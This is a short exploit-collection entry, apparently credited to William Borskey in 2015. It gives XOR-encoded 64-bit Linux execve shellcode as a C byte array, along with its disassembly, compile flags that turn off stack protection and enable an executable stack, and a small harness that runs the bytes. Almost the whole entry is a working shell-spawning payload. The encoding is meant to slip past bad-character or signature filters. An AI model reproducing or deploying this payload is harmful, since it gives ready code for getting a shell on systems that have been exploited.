encoded 64 bit execve shellcode

/*
Compile with: gcc -fno-stack-protector -z execstack
This execve shellcode is encoded with 0xff and is for 64 bit linux.

shell:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <start>:
  400080:=0948 b9 ff ff ff ff ff =09movabs rcx,0xffffffffffffffff
  400087:=09ff ff ff=20
  40008a:=0949 b8 ae b7 72 c3 db =09movabs r8,0xfffaf0dbc372b7ae
  400091:=09f0 fa ff=20
  400094:=0949 31 c8             =09xor    r8,rcx
  400097:=0941 50                =09push   r8
  400099:=0949 b8 d0 9d 96 91 d0 =09movabs r8,0x978cd0d091969dd0
  4000a0:=09d0 8c 97=20
  4000a3:=0949 31 c8             =09xor    r8,rcx
  4000a6:=0941 50                =09push   r8
  4000a8:=0949 b8 b7 ce 2d ad 4f =09movabs r8,0x46b7c44fad2dceb7
  4000af:=09c4 b7 46=20
  4000b2:=0949 31 c8             =09xor    r8,rcx
  4000b5:=0941 50                =09push   r8
  4000b7:=09ff e4                =09jmp    rsp

2015 William Borskey

*/
char shellcode[] = "\x48\xb9\xff\xff\xff\xff\xff\xff\xff\xff\x49\xb8\xae\xb7\x72\xc3\xdb\xf0\xfa\xff\x49\x31\xc8\x41\x50\x49\xb8\xd0\x9d\x96\x91\xd0\xd0\x8c\x97\x49\x31\xc8\x41\x50\x49\xb8\xb7\xce\x2d\xad\x4f\xc4\xb7\x46\x49\x31\xc8\x41\x50\xff\xe4";

int main(int argc, char **argv)
{
    int (*func)();
    func = (int (*)()) shellcode;
    (int)(*func)();
     return 0;
}